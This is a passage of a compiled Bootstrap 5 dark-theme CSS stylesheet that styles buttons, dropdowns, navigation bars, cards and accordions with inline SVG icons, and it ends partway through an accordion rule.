--bs-btn-hover-bg: #1c232f; --bs-btn-hover-border-color: #1c232f; --bs-btn-focus-shadow-rgb: 28, 35, 47; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #1c232f; --bs-btn-active-border-color: #1c232f; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #1c232f; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #1c232f; --bs-gradient: none; } .btn-link { --bs-btn-font-weight: 400; --bs-btn-color: #51459d; --bs-btn-bg: transparent; --bs-btn-border-color: transparent; --bs-btn-hover-color: #51459d; --bs-btn-hover-border-color: transparent; --bs-btn-active-color: #51459d; --bs-btn-active-border-color: transparent; --bs-btn-disabled-color: #6c757d; --bs-btn-disabled-border-color: transparent; --bs-btn-box-shadow: none; --bs-btn-focus-shadow-rgb: 107, 97, 172; text-decoration: none; } .btn-link:hover, .btn-link:focus-visible { text-decoration: underline; } .btn-link:focus-visible { color: var(--bs-btn-color); } .btn-link:hover { color: var(--bs-btn-hover-color); } .btn-lg, .btn-group-lg > .btn { --bs-btn-padding-y: 0.5rem; --bs-btn-padding-x: 1rem; --bs-btn-font-size: 1.09375rem; --bs-btn-border-radius: 8px; } .btn-sm, .btn-group-sm > .btn { --bs-btn-padding-y: 0.25rem; --bs-btn-padding-x: 0.5rem; --bs-btn-font-size: 0.76563rem; --bs-btn-border-radius: 4px; } .fade { transition: opacity 0.15s linear; } @media (prefers-reduced-motion: reduce) { .fade { transition: none; } } .fade:not(.show) { opacity: 0; } .collapse:not(.show) { display: none; } .collapsing { height: 0; overflow: hidden; transition: height 0.35s ease; } @media (prefers-reduced-motion: reduce) { .collapsing { transition: none; } } .collapsing.collapse-horizontal { width: 0; height: auto; transition: width 0.35s ease; } @media (prefers-reduced-motion: reduce) { .collapsing.collapse-horizontal { transition: none; } } .dropup, .dropend, .dropdown, .dropstart, .dropup-center, .dropdown-center { position: relative; } .dropdown-toggle { white-space: nowrap; } .dropdown-toggle::after { display: inline-block; margin-left: 0.255em; vertical-align: 0.255em; content: ""; border-top: 0.3em solid; border-right: 0.3em solid transparent; border-bottom: 0; border-left: 0.3em solid transparent; } .dropdown-toggle:empty::after { margin-left: 0; } .dropdown-menu { --bs-dropdown-zindex: 1000; --bs-dropdown-min-width: 12rem; --bs-dropdown-padding-x: 0; --bs-dropdown-padding-y: 0.5rem; --bs-dropdown-spacer: 0.125rem; --bs-dropdown-font-size: 0.875rem; --bs-dropdown-color: #808191; --bs-dropdown-bg: #262f3f; --bs-dropdown-border-color: rgba(0, 0, 0, 0.15); --bs-dropdown-border-radius: 10px; --bs-dropdown-border-width: 0; --bs-dropdown-inner-border-radius: 10px; --bs-dropdown-divider-bg: #3E3F4A; --bs-dropdown-divider-margin-y: 0.5rem; --bs-dropdown-box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.175); --bs-dropdown-link-color: #808191; --bs-dropdown-link-hover-color: #51459d; --bs-dropdown-link-hover-bg: #202835; --bs-dropdown-link-active-color: #51459d; --bs-dropdown-link-active-bg: #202835; --bs-dropdown-link-disabled-color: #6c757d; --bs-dropdown-item-padding-x: 1.5rem; --bs-dropdown-item-padding-y: 0.65rem; --bs-dropdown-header-color: #6c757d; --bs-dropdown-header-padding-x: 1rem; --bs-dropdown-header-padding-y: 0.5rem; position: absolute; z-index: var(--bs-dropdown-zindex); display: none; min-width: var(--bs-dropdown-min-width); padding: var(--bs-dropdown-padding-y) var(--bs-dropdown-padding-x); margin: 0; font-size: var(--bs-dropdown-font-size); color: var(--bs-dropdown-color); text-align: left; list-style: none; background-color: var(--bs-dropdown-bg); background-clip: padding-box; border: var(--bs-dropdown-border-width) solid var(--bs-dropdown-border-color); border-radius: var(--bs-dropdown-border-radius); } .dropdown-menu[data-bs-popper] { top: 100%; left: 0; margin-top: var(--bs-dropdown-spacer); } .dropdown-menu-start { --bs-position: start; } .dropdown-menu-start[data-bs-popper] { right: auto; left: 0; } .dropdown-menu-end { --bs-position: end; } .dropdown-menu-end[data-bs-popper] { right: 0; left: auto; } @media (min-width: 576px) { .dropdown-menu-sm-start { --bs-position: start; } .dropdown-menu-sm-start[data-bs-popper] { right: auto; left: 0; } .dropdown-menu-sm-end { --bs-position: end; } .dropdown-menu-sm-end[data-bs-popper] { right: 0; left: auto; } } @media (min-width: 768px) { .dropdown-menu-md-start { --bs-position: start; } .dropdown-menu-md-start[data-bs-popper] { right: auto; left: 0; } .dropdown-menu-md-end { --bs-position: end; } .dropdown-menu-md-end[data-bs-popper] { right: 0; left: auto; } } @media (min-width: 992px) { .dropdown-menu-lg-start { --bs-position: start; } .dropdown-menu-lg-start[data-bs-popper] { right: auto; left: 0; } .dropdown-menu-lg-end { --bs-position: end; } .dropdown-menu-lg-end[data-bs-popper] { right: 0; left: auto; } } @media (min-width: 1200px) { .dropdown-menu-xl-start { --bs-position: start; } .dropdown-menu-xl-start[data-bs-popper] { right: auto; left: 0; } .dropdown-menu-xl-end { --bs-position: end; } .dropdown-menu-xl-end[data-bs-popper] { right: 0; left: auto; } } @media (min-width: 1400px) { .dropdown-menu-xxl-start { --bs-position: start; } .dropdown-menu-xxl-start[data-bs-popper] { right: auto; left: 0; } .dropdown-menu-xxl-end { --bs-position: end; } .dropdown-menu-xxl-end[data-bs-popper] { right: 0; left: auto; } } .dropup .dropdown-menu[data-bs-popper] { top: auto; bottom: 100%; margin-top: 0; margin-bottom: var(--bs-dropdown-spacer); } .dropup .dropdown-toggle::after { display: inline-block; margin-left: 0.255em; vertical-align: 0.255em; content: ""; border-top: 0; border-right: 0.3em solid transparent; border-bottom: 0.3em solid; border-left: 0.3em solid transparent; } .dropup .dropdown-toggle:empty::after { margin-left: 0; } .dropend .dropdown-menu[data-bs-popper] { top: 0; right: auto; left: 100%; margin-top: 0; margin-left: var(--bs-dropdown-spacer); } .dropend .dropdown-toggle::after { display: inline-block; margin-left: 0.255em; vertical-align: 0.255em; content: ""; border-top: 0.3em solid transparent; border-right: 0; border-bottom: 0.3em solid transparent; border-left: 0.3em solid; } .dropend .dropdown-toggle:empty::after { margin-left: 0; } .dropend .dropdown-toggle::after { vertical-align: 0; } .dropstart .dropdown-menu[data-bs-popper] { top: 0; right: 100%; left: auto; margin-top: 0; margin-right: var(--bs-dropdown-spacer); } .dropstart .dropdown-toggle::after { display: inline-block; margin-left: 0.255em; vertical-align: 0.255em; content: ""; } .dropstart .dropdown-toggle::after { display: none; } .dropstart .dropdown-toggle::before { display: inline-block; margin-right: 0.255em; vertical-align: 0.255em; content: ""; border-top: 0.3em solid transparent; border-right: 0.3em solid; border-bottom: 0.3em solid transparent; } .dropstart .dropdown-toggle:empty::after { margin-left: 0; } .dropstart .dropdown-toggle::before { vertical-align: 0; } .dropdown-divider { height: 0; margin: var(--bs-dropdown-divider-margin-y) 0; overflow: hidden; border-top: 1px solid var(--bs-dropdown-divider-bg); opacity: 1; } .dropdown-item { display: block; width: 100%; padding: var(--bs-dropdown-item-padding-y) var(--bs-dropdown-item-padding-x); clear: both; font-weight: 400; color: var(--bs-dropdown-link-color); text-align: inherit; white-space: nowrap; background-color: transparent; border: 0; } .dropdown-item:hover, .dropdown-item:focus { color: var(--bs-dropdown-link-hover-color); text-decoration: none; background-color: var(--bs-dropdown-link-hover-bg); } .dropdown-item.active, .dropdown-item:active { color: var(--bs-dropdown-link-active-color); text-decoration: none; background-color: var(--bs-dropdown-link-active-bg); } .dropdown-item.disabled, .dropdown-item:disabled { color: var(--bs-dropdown-link-disabled-color); pointer-events: none; background-color: transparent; } .dropdown-menu.show { display: block; } .dropdown-header { display: block; padding: var(--bs-dropdown-header-padding-y) var(--bs-dropdown-header-padding-x); margin-bottom: 0; font-size: 0.76563rem; color: var(--bs-dropdown-header-color); white-space: nowrap; } .dropdown-item-text { display: block; padding: var(--bs-dropdown-item-padding-y) var(--bs-dropdown-item-padding-x); color: var(--bs-dropdown-link-color); } .dropdown-menu-dark { --bs-dropdown-color: #dee2e6; --bs-dropdown-bg: #343a40; --bs-dropdown-border-color: rgba(0, 0, 0, 0.15); --bs-dropdown-box-shadow: ; --bs-dropdown-link-color: #dee2e6; --bs-dropdown-link-hover-color: #ffffff; --bs-dropdown-divider-bg: #3E3F4A; --bs-dropdown-link-hover-bg: rgba(255, 255, 255, 0.15); --bs-dropdown-link-active-color: #51459d; --bs-dropdown-link-active-bg: #202835; --bs-dropdown-link-disabled-color: #adb5bd; --bs-dropdown-header-color: #adb5bd; } .btn-group, .btn-group-vertical { position: relative; display: inline-flex; vertical-align: middle; } .btn-group > .btn, .btn-group-vertical > .btn { position: relative; flex: 1 1 auto; } .btn-group > .btn-check:checked + .btn, .btn-group > .btn-check:focus + .btn, .btn-group > .btn:hover, .btn-group > .btn:focus, .btn-group > .btn:active, .btn-group > .btn.active, .btn-group-vertical > .btn-check:checked + .btn, .btn-group-vertical > .btn-check:focus + .btn, .btn-group-vertical > .btn:hover, .btn-group-vertical > .btn:focus, .btn-group-vertical > .btn:active, .btn-group-vertical > .btn.active { z-index: 1; } .btn-toolbar { display: flex; flex-wrap: wrap; justify-content: flex-start; } .btn-toolbar .input-group { width: auto; } .btn-group { border-radius: 6px; } .btn-group > :not(.btn-check:first-child) + .btn, .btn-group > .btn-group:not(:first-child) { margin-left: -2px; } .btn-group > .btn:not(:last-child):not(.dropdown-toggle), .btn-group > .btn.dropdown-toggle-split:first-child, .btn-group > .btn-group:not(:last-child) > .btn { border-top-right-radius: 0; border-bottom-right-radius: 0; } .btn-group > .btn:nth-child(n + 3), .btn-group > :not(.btn-check) + .btn, .btn-group > .btn-group:not(:first-child) > .btn { border-top-left-radius: 0; border-bottom-left-radius: 0; } .dropdown-toggle-split { padding-right: 0.975rem; padding-left: 0.975rem; } .dropdown-toggle-split::after, .dropup .dropdown-toggle-split::after, .dropend .dropdown-toggle-split::after { margin-left: 0; } .dropstart .dropdown-toggle-split::before { margin-right: 0; } .btn-sm + .dropdown-toggle-split, .btn-group-sm > .btn + .dropdown-toggle-split { padding-right: 0.375rem; padding-left: 0.375rem; } .btn-lg + .dropdown-toggle-split, .btn-group-lg > .btn + .dropdown-toggle-split { padding-right: 0.75rem; padding-left: 0.75rem; } .btn-group-vertical { flex-direction: column; align-items: flex-start; justify-content: center; } .btn-group-vertical > .btn, .btn-group-vertical > .btn-group { width: 100%; } .btn-group-vertical > .btn:not(:first-child), .btn-group-vertical > .btn-group:not(:first-child) { margin-top: -2px; } .btn-group-vertical > .btn:not(:last-child):not(.dropdown-toggle), .btn-group-vertical > .btn-group:not(:last-child) > .btn { border-bottom-right-radius: 0; border-bottom-left-radius: 0; } .btn-group-vertical > .btn ~ .btn, .btn-group-vertical > .btn-group:not(:first-child) > .btn { border-top-left-radius: 0; border-top-right-radius: 0; } .nav { --bs-nav-link-padding-x: 1rem; --bs-nav-link-padding-y: 0.5rem; --bs-nav-link-font-weight: ; --bs-nav-link-color: var(--bs-link-color); --bs-nav-link-hover-color: var(--bs-link-hover-color); --bs-nav-link-disabled-color: #6c757d; display: flex; flex-wrap: wrap; padding-left: 0; margin-bottom: 0; list-style: none; } .nav-link { display: block; padding: var(--bs-nav-link-padding-y) var(--bs-nav-link-padding-x); font-size: var(--bs-nav-link-font-size); font-weight: var(--bs-nav-link-font-weight); color: var(--bs-nav-link-color); transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .nav-link { transition: none; } } .nav-link:hover, .nav-link:focus { color: var(--bs-nav-link-hover-color); text-decoration: none; } .nav-link.disabled { color: var(--bs-nav-link-disabled-color); pointer-events: none; cursor: default; } .nav-tabs { --bs-nav-tabs-border-width: 1px; --bs-nav-tabs-border-color: #3E3F4A; --bs-nav-tabs-border-radius: 10px; --bs-nav-tabs-link-hover-border-color: #3E3F4A; --bs-nav-tabs-link-active-color: #808191; --bs-nav-tabs-link-active-bg: #3E3F4A; --bs-nav-tabs-link-active-border-color: #3E3F4A; border-bottom: var(--bs-nav-tabs-border-width) solid var(--bs-nav-tabs-border-color); } .nav-tabs .nav-link { margin-bottom: calc(-1 * var(--bs-nav-tabs-border-width)); background: none; border: var(--bs-nav-tabs-border-width) solid transparent; border-top-left-radius: var(--bs-nav-tabs-border-radius); border-top-right-radius: var(--bs-nav-tabs-border-radius); } .nav-tabs .nav-link:hover, .nav-tabs .nav-link:focus { isolation: isolate; border-color: var(--bs-nav-tabs-link-hover-border-color); } .nav-tabs .nav-link.disabled, .nav-tabs .nav-link:disabled { color: var(--bs-nav-link-disabled-color); background-color: transparent; border-color: transparent; } .nav-tabs .nav-link.active, .nav-tabs .nav-item.show .nav-link { color: var(--bs-nav-tabs-link-active-color); background-color: var(--bs-nav-tabs-link-active-bg); border-color: var(--bs-nav-tabs-link-active-border-color); } .nav-tabs .dropdown-menu { margin-top: calc(-1 * var(--bs-nav-tabs-border-width)); border-top-left-radius: 0; border-top-right-radius: 0; } .nav-pills { --bs-nav-pills-border-radius: 10px; --bs-nav-pills-link-active-color: #ffffff; --bs-nav-pills-link-active-bg: #51459d; } .nav-pills .nav-link { background: none; border: 0; border-radius: var(--bs-nav-pills-border-radius); } .nav-pills .nav-link:disabled { color: var(--bs-nav-link-disabled-color); background-color: transparent; border-color: transparent; } .nav-pills .nav-link.active, .nav-pills .show > .nav-link { color: var(--bs-nav-pills-link-active-color); background-color: var(--bs-nav-pills-link-active-bg); } .nav-fill > .nav-link, .nav-fill .nav-item { flex: 1 1 auto; text-align: center; } .nav-justified > .nav-link, .nav-justified .nav-item { flex-basis: 0; flex-grow: 1; text-align: center; } .nav-fill .nav-item .nav-link, .nav-justified .nav-item .nav-link { width: 100%; } .tab-content > .tab-pane { display: none; } .tab-content > .active { display: block; } .navbar { --bs-navbar-padding-x: 0; --bs-navbar-padding-y: 0.5rem; --bs-navbar-color: rgba(0, 0, 0, 0.55); --bs-navbar-hover-color: rgba(0, 0, 0, 0.7); --bs-navbar-disabled-color: rgba(0, 0, 0, 0.3); --bs-navbar-active-color: rgba(0, 0, 0, 0.9); --bs-navbar-brand-padding-y: 0.33594rem; --bs-navbar-brand-margin-end: 1rem; --bs-navbar-brand-font-size: 1.09375rem; --bs-navbar-brand-color: rgba(0, 0, 0, 0.9); --bs-navbar-brand-hover-color: rgba(0, 0, 0, 0.9); --bs-navbar-nav-link-padding-x: 0.5rem; --bs-navbar-toggler-padding-y: 0.25rem; --bs-navbar-toggler-padding-x: 0.75rem; --bs-navbar-toggler-font-size: 1.09375rem; --bs-navbar-toggler-icon-bg: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%280, 0, 0, 0.55%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e"); --bs-navbar-toggler-border-color: rgba(0, 0, 0, 0.1); --bs-navbar-toggler-border-radius: 6px; --bs-navbar-toggler-focus-width: 0.2rem; --bs-navbar-toggler-transition: box-shadow 0.15s ease-in-out; position: relative; display: flex; flex-wrap: wrap; align-items: center; justify-content: space-between; padding: var(--bs-navbar-padding-y) var(--bs-navbar-padding-x); } .navbar > .container, .navbar > .container-fluid, .navbar > .container-sm, .navbar > .container-md, .navbar > .container-lg, .navbar > .container-xl, .navbar > .container-xxl { display: flex; flex-wrap: inherit; align-items: center; justify-content: space-between; } .navbar-brand { padding-top: var(--bs-navbar-brand-padding-y); padding-bottom: var(--bs-navbar-brand-padding-y); margin-right: var(--bs-navbar-brand-margin-end); font-size: var(--bs-navbar-brand-font-size); color: var(--bs-navbar-brand-color); white-space: nowrap; } .navbar-brand:hover, .navbar-brand:focus { color: var(--bs-navbar-brand-hover-color); text-decoration: none; } .navbar-nav { --bs-nav-link-padding-x: 0; --bs-nav-link-padding-y: 0.5rem; --bs-nav-link-font-weight: ; --bs-nav-link-color: var(--bs-navbar-color); --bs-nav-link-hover-color: var(--bs-navbar-hover-color); --bs-nav-link-disabled-color: var(--bs-navbar-disabled-color); display: flex; flex-direction: column; padding-left: 0; margin-bottom: 0; list-style: none; } .navbar-nav .show > .nav-link, .navbar-nav .nav-link.active { color: var(--bs-navbar-active-color); } .navbar-nav .dropdown-menu { position: static; } .navbar-text { padding-top: 0.5rem; padding-bottom: 0.5rem; color: var(--bs-navbar-color); } .navbar-text a, .navbar-text a:hover, .navbar-text a:focus { color: var(--bs-navbar-active-color); } .navbar-collapse { flex-basis: 100%; flex-grow: 1; align-items: center; } .navbar-toggler { padding: var(--bs-navbar-toggler-padding-y) var(--bs-navbar-toggler-padding-x); font-size: var(--bs-navbar-toggler-font-size); line-height: 1; color: var(--bs-navbar-color); background-color: transparent; border: var(--bs-border-width) solid var(--bs-navbar-toggler-border-color); border-radius: var(--bs-navbar-toggler-border-radius); transition: var(--bs-navbar-toggler-transition); } @media (prefers-reduced-motion: reduce) { .navbar-toggler { transition: none; } } .navbar-toggler:hover { text-decoration: none; } .navbar-toggler:focus { text-decoration: none; outline: 0; box-shadow: 0 0 0 var(--bs-navbar-toggler-focus-width); } .navbar-toggler-icon { display: inline-block; width: 1.5em; height: 1.5em; vertical-align: middle; background-image: var(--bs-navbar-toggler-icon-bg); background-repeat: no-repeat; background-position: center; background-size: 100%; } .navbar-nav-scroll { max-height: var(--bs-scroll-height, 75vh); overflow-y: auto; } @media (min-width: 576px) { .navbar-expand-sm { flex-wrap: nowrap; justify-content: flex-start; } .navbar-expand-sm .navbar-nav { flex-direction: row; } .navbar-expand-sm .navbar-nav .dropdown-menu { position: absolute; } .navbar-expand-sm .navbar-nav .nav-link { padding-right: var(--bs-navbar-nav-link-padding-x); padding-left: var(--bs-navbar-nav-link-padding-x); } .navbar-expand-sm .navbar-nav-scroll { overflow: visible; } .navbar-expand-sm .navbar-collapse { display: flex !important; flex-basis: auto; } .navbar-expand-sm .navbar-toggler { display: none; } .navbar-expand-sm .offcanvas { position: static; z-index: auto; flex-grow: 1; width: auto !important; height: auto !important; visibility: visible !important; background-color: transparent !important; border: 0 !important; transform: none !important; transition: none; } .navbar-expand-sm .offcanvas .offcanvas-header { display: none; } .navbar-expand-sm .offcanvas .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; } } @media (min-width: 768px) { .navbar-expand-md { flex-wrap: nowrap; justify-content: flex-start; } .navbar-expand-md .navbar-nav { flex-direction: row; } .navbar-expand-md .navbar-nav .dropdown-menu { position: absolute; } .navbar-expand-md .navbar-nav .nav-link { padding-right: var(--bs-navbar-nav-link-padding-x); padding-left: var(--bs-navbar-nav-link-padding-x); } .navbar-expand-md .navbar-nav-scroll { overflow: visible; } .navbar-expand-md .navbar-collapse { display: flex !important; flex-basis: auto; } .navbar-expand-md .navbar-toggler { display: none; } .navbar-expand-md .offcanvas { position: static; z-index: auto; flex-grow: 1; width: auto !important; height: auto !important; visibility: visible !important; background-color: transparent !important; border: 0 !important; transform: none !important; transition: none; } .navbar-expand-md .offcanvas .offcanvas-header { display: none; } .navbar-expand-md .offcanvas .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; } } @media (min-width: 992px) { .navbar-expand-lg { flex-wrap: nowrap; justify-content: flex-start; } .navbar-expand-lg .navbar-nav { flex-direction: row; } .navbar-expand-lg .navbar-nav .dropdown-menu { position: absolute; } .navbar-expand-lg .navbar-nav .nav-link { padding-right: var(--bs-navbar-nav-link-padding-x); padding-left: var(--bs-navbar-nav-link-padding-x); } .navbar-expand-lg .navbar-nav-scroll { overflow: visible; } .navbar-expand-lg .navbar-collapse { display: flex !important; flex-basis: auto; } .navbar-expand-lg .navbar-toggler { display: none; } .navbar-expand-lg .offcanvas { position: static; z-index: auto; flex-grow: 1; width: auto !important; height: auto !important; visibility: visible !important; background-color: transparent !important; border: 0 !important; transform: none !important; transition: none; } .navbar-expand-lg .offcanvas .offcanvas-header { display: none; } .navbar-expand-lg .offcanvas .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; } } @media (min-width: 1200px) { .navbar-expand-xl { flex-wrap: nowrap; justify-content: flex-start; } .navbar-expand-xl .navbar-nav { flex-direction: row; } .navbar-expand-xl .navbar-nav .dropdown-menu { position: absolute; } .navbar-expand-xl .navbar-nav .nav-link { padding-right: var(--bs-navbar-nav-link-padding-x); padding-left: var(--bs-navbar-nav-link-padding-x); } .navbar-expand-xl .navbar-nav-scroll { overflow: visible; } .navbar-expand-xl .navbar-collapse { display: flex !important; flex-basis: auto; } .navbar-expand-xl .navbar-toggler { display: none; } .navbar-expand-xl .offcanvas { position: static; z-index: auto; flex-grow: 1; width: auto !important; height: auto !important; visibility: visible !important; background-color: transparent !important; border: 0 !important; transform: none !important; transition: none; } .navbar-expand-xl .offcanvas .offcanvas-header { display: none; } .navbar-expand-xl .offcanvas .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; } } @media (min-width: 1400px) { .navbar-expand-xxl { flex-wrap: nowrap; justify-content: flex-start; } .navbar-expand-xxl .navbar-nav { flex-direction: row; } .navbar-expand-xxl .navbar-nav .dropdown-menu { position: absolute; } .navbar-expand-xxl .navbar-nav .nav-link { padding-right: var(--bs-navbar-nav-link-padding-x); padding-left: var(--bs-navbar-nav-link-padding-x); } .navbar-expand-xxl .navbar-nav-scroll { overflow: visible; } .navbar-expand-xxl .navbar-collapse { display: flex !important; flex-basis: auto; } .navbar-expand-xxl .navbar-toggler { display: none; } .navbar-expand-xxl .offcanvas { position: static; z-index: auto; flex-grow: 1; width: auto !important; height: auto !important; visibility: visible !important; background-color: transparent !important; border: 0 !important; transform: none !important; transition: none; } .navbar-expand-xxl .offcanvas .offcanvas-header { display: none; } .navbar-expand-xxl .offcanvas .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; } } .navbar-expand { flex-wrap: nowrap; justify-content: flex-start; } .navbar-expand .navbar-nav { flex-direction: row; } .navbar-expand .navbar-nav .dropdown-menu { position: absolute; } .navbar-expand .navbar-nav .nav-link { padding-right: var(--bs-navbar-nav-link-padding-x); padding-left: var(--bs-navbar-nav-link-padding-x); } .navbar-expand .navbar-nav-scroll { overflow: visible; } .navbar-expand .navbar-collapse { display: flex !important; flex-basis: auto; } .navbar-expand .navbar-toggler { display: none; } .navbar-expand .offcanvas { position: static; z-index: auto; flex-grow: 1; width: auto !important; height: auto !important; visibility: visible !important; background-color: transparent !important; border: 0 !important; transform: none !important; transition: none; } .navbar-expand .offcanvas .offcanvas-header { display: none; } .navbar-expand .offcanvas .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; } .navbar-dark { --bs-navbar-color: rgba(255, 255, 255, 0.55); --bs-navbar-hover-color: rgba(255, 255, 255, 0.75); --bs-navbar-disabled-color: rgba(255, 255, 255, 0.25); --bs-navbar-active-color: #ffffff; --bs-navbar-brand-color: #ffffff; --bs-navbar-brand-hover-color: #ffffff; --bs-navbar-toggler-border-color: rgba(255, 255, 255, 0.1); --bs-navbar-toggler-icon-bg: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%28255, 255, 255, 0.55%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e"); } .card { --bs-card-spacer-y: 25px; --bs-card-spacer-x: 25px; --bs-card-title-spacer-y: 0.5rem; --bs-card-border-width: 0px; --bs-card-border-color: rgba(0, 0, 0, 0.125); --bs-card-border-radius: 10px; --bs-card-box-shadow: ; --bs-card-inner-border-radius: calc(10px - 0px); --bs-card-cap-padding-y: 25px; --bs-card-cap-padding-x: 25px; --bs-card-cap-bg: transparent; --bs-card-cap-color: ; --bs-card-height:; --bs-card-color: ; --bs-card-bg: #292A33; --bs-card-img-overlay-padding: 1.25rem; --bs-card-group-margin: 0.75rem; position: relative; display: flex; flex-direction: column; min-width: 0; height: var(--bs-card-height); word-wrap: break-word; background-color: var(--bs-card-bg); background-clip: border-box; border: var(--bs-card-border-width) solid var(--bs-card-border-color); border-radius: var(--bs-card-border-radius); } .card > hr { margin-right: 0; margin-left: 0; } .card > .list-group { border-top: inherit; border-bottom: inherit; } .card > .list-group:first-child { border-top-width: 0; border-top-left-radius: var(--bs-card-inner-border-radius); border-top-right-radius: var(--bs-card-inner-border-radius); } .card > .list-group:last-child { border-bottom-width: 0; border-bottom-right-radius: var(--bs-card-inner-border-radius); border-bottom-left-radius: var(--bs-card-inner-border-radius); } .card > .card-header + .list-group, .card > .list-group + .card-footer { border-top: 0; } .card-body { flex: 1 1 auto; padding: var(--bs-card-spacer-y) var(--bs-card-spacer-x); color: var(--bs-card-color); } .card-title { margin-bottom: var(--bs-card-title-spacer-y); } .card-subtitle { margin-top: calc(-.5 * var(--bs-card-title-spacer-y)); margin-bottom: 0; } .card-text:last-child { margin-bottom: 0; } .card-link:hover { text-decoration: none; } .card-link + .card-link { margin-left: var(--bs-card-spacer-x); } .card-header { padding: var(--bs-card-cap-padding-y) var(--bs-card-cap-padding-x); margin-bottom: 0; color: var(--bs-card-cap-color); background-color: var(--bs-card-cap-bg); border-bottom: var(--bs-card-border-width) solid var(--bs-card-border-color); } .card-header:first-child { border-radius: var(--bs-card-inner-border-radius) var(--bs-card-inner-border-radius) 0 0; } .card-footer { padding: var(--bs-card-cap-padding-y) var(--bs-card-cap-padding-x); color: var(--bs-card-cap-color); background-color: var(--bs-card-cap-bg); border-top: var(--bs-card-border-width) solid var(--bs-card-border-color); } .card-footer:last-child { border-radius: 0 0 var(--bs-card-inner-border-radius) var(--bs-card-inner-border-radius); } .card-header-tabs { margin-right: calc(-.5 * var(--bs-card-cap-padding-x)); margin-bottom: calc(-1 * var(--bs-card-cap-padding-y)); margin-left: calc(-.5 * var(--bs-card-cap-padding-x)); border-bottom: 0; } .card-header-tabs .nav-link.active { background-color: var(--bs-card-bg); border-bottom-color: var(--bs-card-bg); } .card-header-pills { margin-right: calc(-.5 * var(--bs-card-cap-padding-x)); margin-left: calc(-.5 * var(--bs-card-cap-padding-x)); } .card-img-overlay { position: absolute; top: 0; right: 0; bottom: 0; left: 0; padding: var(--bs-card-img-overlay-padding); border-radius: var(--bs-card-inner-border-radius); } .card-img, .card-img-top, .card-img-bottom { width: 100%; } .card-img, .card-img-top { border-top-left-radius: var(--bs-card-inner-border-radius); border-top-right-radius: var(--bs-card-inner-border-radius); } .card-img, .card-img-bottom { border-bottom-right-radius: var(--bs-card-inner-border-radius); border-bottom-left-radius: var(--bs-card-inner-border-radius); } .card-group > .card { margin-bottom: var(--bs-card-group-margin); } @media (min-width: 576px) { .card-group { display: flex; flex-flow: row wrap; } .card-group > .card { flex: 1 0 0%; margin-bottom: 0; } .card-group > .card + .card { margin-left: 0; border-left: 0; } .card-group > .card:not(:last-child) { border-top-right-radius: 0; border-bottom-right-radius: 0; } .card-group > .card:not(:last-child) .card-img-top, .card-group > .card:not(:last-child) .card-header { border-top-right-radius: 0; } .card-group > .card:not(:last-child) .card-img-bottom, .card-group > .card:not(:last-child) .card-footer { border-bottom-right-radius: 0; } .card-group > .card:not(:first-child) { border-top-left-radius: 0; border-bottom-left-radius: 0; } .card-group > .card:not(:first-child) .card-img-top, .card-group > .card:not(:first-child) .card-header { border-top-left-radius: 0; } .card-group > .card:not(:first-child) .card-img-bottom, .card-group > .card:not(:first-child) .card-footer { border-bottom-left-radius: 0; } } .accordion { --bs-accordion-color: #808191; --bs-accordion-bg: transparent; --bs-accordion-transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, border-radius 0.15s ease; --bs-accordion-border-color: rgba(0, 0, 0, 0.125); --bs-accordion-border-width: 1px; --bs-accordion-border-radius: 10px; --bs-accordion-inner-border-radius: 9px; --bs-accordion-btn-padding-x: 1.25rem; --bs-accordion-btn-padding-y: 1rem; --bs-accordion-btn-color: #808191; --bs-accordion-btn-bg: transparent; --bs-accordion-btn-icon: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23808191'%3e%3cpath fill-rule='evenodd' d='M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e"); --bs-accordion-btn-icon-width: 1.25rem; --bs-accordion-btn-icon-transform: rotate(180deg); --bs-accordion-btn-icon-transition: transform 0.2s ease-in-out; --bs-accordion-btn-active-icon: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23493e8d'%3e%3cpath fill-rule='evenodd' d='M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e"); --bs-accordion-btn-focus-border-color: #51459d; --bs-accordion-btn-focus-box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); --bs-accordion-body-padding-x: 1.25rem; --bs-accordion-body-padding-y: 1rem; --bs-accordion-active-color: #493e8d; --bs-accordion-active-bg: #eeecf5; } .accordion-button { position: relative; display: flex; align-items: center; width: 100%; padding: var(--bs-accordion-btn-padding-y) var(--bs-accordion-btn-padding-x); font-size: 0.875rem; color: var(--bs-accordion-btn-color); text-align: left; background-color: var(--bs-accordion-btn-bg); border: 0; border-radius: 0; overflow-anchor: none; transition: var(--bs-accordion-transition); } @media (prefers-reduced-motion: reduce) { .accordion-button { transition: none; } } .accordion-button:not(.collapsed) { /* color: 